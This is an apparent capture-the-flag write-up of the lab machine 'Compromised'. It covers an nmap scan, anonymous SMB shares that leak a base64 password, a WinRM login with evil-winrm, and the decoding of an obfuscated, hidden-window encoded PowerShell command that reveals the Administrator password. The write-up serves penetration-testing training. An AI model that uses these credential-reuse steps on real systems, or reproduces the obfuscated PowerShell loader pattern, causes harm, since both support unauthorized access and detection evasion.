Proving Grounds | Compromised
Nmap Scan
# Nmap 7.91 scan initiated Thu Nov 4 00:48:15 2021 as: nmap -T4 -p- -A -oA scan-advanced 192.168.228.152
Nmap scan report for 192.168.228.152
Host is up (0.030s latency).
Not shown: 65528 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2021-06-01T08:00:08
|_Not valid after: 2021-08-30T08:00:08
|_ssl-date: 2021-11-04T04:51:22+00:00; 0s from scanner time.
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49666/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-11-04T04:50:44
|_ start_date: N/A
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 29.72 ms 192.168.49.1
2 29.77 ms 192.168.228.152
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 4 00:51:22 2021 -- 1 IP address (1 host up) scanned in 187.70 secondsService Enumeration
HTTP/S (TCP:80/443)
Looks like a default installation of Microsoft IIS. I am unable to find any other directories or files with gobuster.
HTTP (TCP/5985)
Yet another web server, but getting HTTP 404 when I navigate to the site index. I get no results back from gobuster.
SMB
I am able to list shares anonymously. I try connecting to some shares.
The Scripts$ and Users$ shares are open to anonymous mapping. I take a look at the share contents.
Users Share
echo 'RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA' | base64 -d
FriendsDontLetFriendsBase64PasswordsScripts Share
The scripts share contains an install-features.ps1 script. If I read the contents of the script, it looks like an administrator has used this script to install WindowsPowerShellWebAccess.
I do some more research on this feature:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831611(v=ws.11)
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831417(v=ws.11)
This would correlate the WinRM finding on TCP/5985, which enables Windows remote management over HTTP on this TCP port.
Taking a look at the fix-printservers.ps1 script, there appears to be a username that might be useful.
Exploit
I can use evil-winrm to connect to the WinRM service running on TCP/5985. First, I install the evil-winrm Ruby gems.
sudo gem install winrm winrm-fs colorize stringio
sudo gem install evil-winrmUsing the scripting username and the FriendsDontLetFriendsBase64Passwords password discovered in enumeration, I try connecting to the WinRM service using evil-winrm.
evil-winrm -i 192.168.228.152 -u 'scripting' -p 'FriendsDontLetFriendsBase64Passwords'Post-Exploitation
Operating Environment
OS & Kernel
WindowsBuildLabEx : 17763.1.amd64fre.rs5_rel
ease.180914-1434
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerStandard
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 5/28/2021 10:52:51 AM
WindowsProductId : 00429-70000-00000-AA383
WindowsProductName : Windows Server 2019 Stan
dard
WindowsRegisteredOrganization :
WindowsRegisteredOwner : Windows User
WindowsSystemRoot : C:\Windows
WindowsVersion : 1809
Current User
USER INFORMATION
----------------
User Name SID
===================== ============================================
compromised\scripting S-1-5-21-537427935-490066102-1511301751-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ =============
=====================================
Everyone Well-known group S-1-1-0 Mandatory gro
up, Enabled by default, Enabled group
BUILTIN\Event Log Readers Alias S-1-5-32-573 Mandatory gro
up, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory gro
up, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory gro
up, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory gro
up, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory gro
up, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory gro
up, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory gro
up, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory gro
up, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Users and Groups
Local Users
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
scripting WDAGUtilityAccount
The command completed with one or more errors.
Local Groups
Aliases for \\COMPROMISED
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Storage Replica Administrators
*System Managed Accounts Group
*Users
The command completed successfully.
Network Configurations
Network Interfaces
Windows IP Configuration
Host Name . . . . . . . . . . . . : compromised
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-BF-37-1F
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.228.152(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.228.254
DNS Servers . . . . . . . . . . . : 192.168.228.254
NetBIOS over Tcpip. . . . . . . . : Enabled
Interesting Files
C:\Troubleshooting\logs.ps1
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc JABPAHcAbgBlAGQAIAA9ACAAQAAoACkAOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAJABEAGUAYwBvAGQAZQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEAQQB2AEoAUwBBADMATwBTAE0AMwBKADgAUwB6ADIAegBVAHoAUABLAE0AbABNAEwAUQByAEoAUwBNAHcATABBAFkAcQBXADUAeABlAGwASwBBAEkAQQAwADcAeABrAEgAQgA4AEEAQQBBAEEAPQAiACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBbAHMAdAByAGkAbgBnAF0AOgA6AGoAbwBpAG4AKAAnACcALAAgACgAIAAoADgAMwAsADEAMQA2ACwAOQA3ACwAMQAxADQALAAxADEANgAsADQANQAsADgAMwAsADEAMAA4ACwAMQAwADEALAAxADAAMQAsADEAMQAyACwAMwAyACwANAA1ACwAOAAzACwAMQAwADEALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAwADAALAAxADEANQAsADMAMgAsADUAMwApACAAfAAlAHsAIAAoACAAWwBjAGgAYQByAF0AWwBpAG4AdABdACAAJABfACkAfQApACkAIAB8ACAAJgAgACgAKABnAHYAIAAiACoAbQBkAHIAKgAiACkALgBuAGEAbQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBpAG4AJwAnACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBpAGYAKAAkAGUAbgB2ADoAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUAIAAtAGUAcQAgACIAYwBvAG0AcAByAG8AbQBpAHMAZQBkACIAKQAgAHsAZQB4AGkAdAB9AH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMQAxADYALAAxADAAMQAsADEAMQA1ACwAMQAxADYALAA0ADUALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAxADAALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMQAwADUALAAxADEAMQAsADEAMQAwACwAMwAyACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwAMwAyACwANAA1ACwAOAAxACwAMQAxADcALAAxADAANQAsADEAMAAxACwAMQAxADYALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUAKQAgAHwAJQB7ACAAKAAgAFsAYwBoAGEAcgBdAFsAaQBuAHQAXQAgACQAXwApAH0AKQApACAAfAAgACYAIAAoACgAZwB2ACAAIgAqAG0AZAByACoAIgApAC4AbgBhAG0AZQBbADMALAAxADEALAAyAF0ALQBqAG8AaQBuACcAJwApAH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMwA2ACwAMQAxADEALAAxADEAOQAsADEAMQAwACwAMQAwADEALAAxADAAMAAsADkAMQAsADUAMAAsADkAMwAsADQANgAsADgANAAsADEAMQAxACwAOAAzACwAMQAxADYALAAxADEANAAsADEAMAA1ACwAMQAxADAALAAxADAAMwAsADQAMAAsADQAMQAsADMAMgAsADQANQAsADEAMQAwACwAMQAwADEALAAzADIALAAzADkALAAxADAANQAsADEAMAAyACwANAAwACwAMwA2ACwAMQAwADEALAAxADEAMAAsADEAMQA4ACwANQA4ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADcALAAxADEANgAsADEAMAAxACwAMQAxADQALAAxADEAMAAsADkANwAsADEAMAA5ACwAMQAwADEALAAzADIALAA0ADUALAAxADAAMQAsADEAMQAzACwAMwAyACwAMwA0ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADQALAAxADEAMQAsADEAMAA5ACwAMQAwADUALAAxADEANQAsADEAMAAxACwAMQAwADAALAAzADQALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADkALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADIALAA2ADkALAAxADAAOAAsADEAMQA1ACwAMQAwADEALAAzADIALAAxADIAMwAsADMANgAsADEAMAA5ACwAMQAxADUALAAzADIALAA2ADEALAAzADIALAA0ADAALAA3ADgALAAxADAAMQAsADEAMQA5ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAMQAyADEALAAxADEANQAsADEAMQA2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAMwAsADcAOQAsADQANgAsADcANwAsADEAMAAxACwAMQAwADkALAAxADEAMQAsADEAMQA0ACwAMQAyADEALAA4ADMALAAxADEANgAsADEAMQA0ACwAMQAwADEALAA5ADcALAAxADAAOQAsADQAMAAsADMANgAsADYAOAAsADEAMAAxACwAOQA5ACwAMQAxADEALAAxADAAMAAsADEAMAAxACwAMQAwADAALAA0ADQALAA0ADgALAA0ADQALAAzADYALAA2ADgALAAxADAAMQAsADkAOQAsADEAMQAxACwAMQAwADAALAAxADAAMQAsADEAMAAwACwANAA2ACwANwA2ACwAMQAwADEALAAxADEAMAAsADEAMAAzACwAMQAxADYALAAxADAANAAsADQAMQAsADQAMQAsADEAMgA1ACkAIAB8ACUAewAgACgAIABbAGMAaABhAHIAXQBbAGkAbgB0AF0AIAAkAF8AKQB9ACkAKQAgAHwAIAAmACAAKAAoAGcAdgAgACIAKgBtAGQAcgAqACIAKQAuAG4AYQBtAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQB9ADsAJABPAHcAbgBlAGQAIAArAD0AIAB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEsAQQBCAE8AQQBHAFUAQQBkAHcAQQB0AEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEoAQQBFADgAQQBMAGcAQgBUAEEASABRAEEAYwBnAEIAbABBAEcARQBBAGIAUQBCAFMAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEEAbwBBAEUANABBAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEUAawBBAFQAdwBBAHUAQQBFAE0AQQBiAHcAQgB0AEEASABBAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQQB1AEEARQBjAEEAVwBnAEIAcABBAEgAQQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAawBBAEcAMABBAGMAdwBBAHMAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARQBNAEEAYgB3AEIAdABBAEgAQQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEUATQBBAGIAdwBCAHQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcABBAEcAOABBAGIAZwBCAE4AQQBHADgAQQBaAEEAQgBsAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABJAEEAWgBRAEIAegBBAEgATQBBAEsAUQBBAHAAQQBDAGsAQQBMAGcAQgB5AEEARwBVAEEAWQBRAEIAawBBAEgAUQBBAGIAdwBCAGwAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEAIgApACkAIAB8ACAAaQBlAHgAfQA7ACQATwB3AG4AZQBkACAAfAAgACUAIAB7ACQAXwB8AGkAZQB4AH0A
If we decode the giant block of base64-encoded text, it reveals the actual PowerShell commands to be run by the script.
$Owned = @();$Owned += {$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")};$Owned += {[string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {if($env:computername -eq "compromised") {exit}};$Owned += {[string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {[string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA")) | iex};$Owned | % {$_|iex}
Decoding the base64-encoded text reveals several PowerShell commands chained with a semicolon. The sequence of commands contain additional base64 text as well as some byte arrays. We can look each command one-by-one using the cut command in Kali.
I paste the block of text into a file called commands.txt. Then, run cat ./commands.txt | cut -d ';' --output-delimiter=$'\n' -f1- to output each command on a new numbered line.
1 $Owned = @()
2 $Owned += {$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")}
3 $Owned += {[string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
4 $Owned += {if($env:computername -eq "compromised") {exit}}
5 $Owned += {[string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
6 $Owned += {[string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
7 $Owned += {[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA")) | iex}
8 $Owned | % {$_|iex}
The script is creating an empty array $owned = @() and then, creating an array of strings, where the strings are individual commands to be executed.
The most important part of the script is right here:
# If you try to decode this base64 string, it ends up looking like garbage.
# However, looking at the commands just below it, you see that we create a new memory stream object and use System.IO.Compression.GZzipStream to decompress the object back to a legible state
$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))
(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()
# Output: TheShellIsMightierThanTheSword!
Privilege Escalation
Try using evil-winrm to connect as Administrator using the password we just discovered.
Proofs
User
e38f9b44ed8cd98dbebbf248542f24d9
Administrator
f0b352c1d6e3317a68cae5aa64254d1e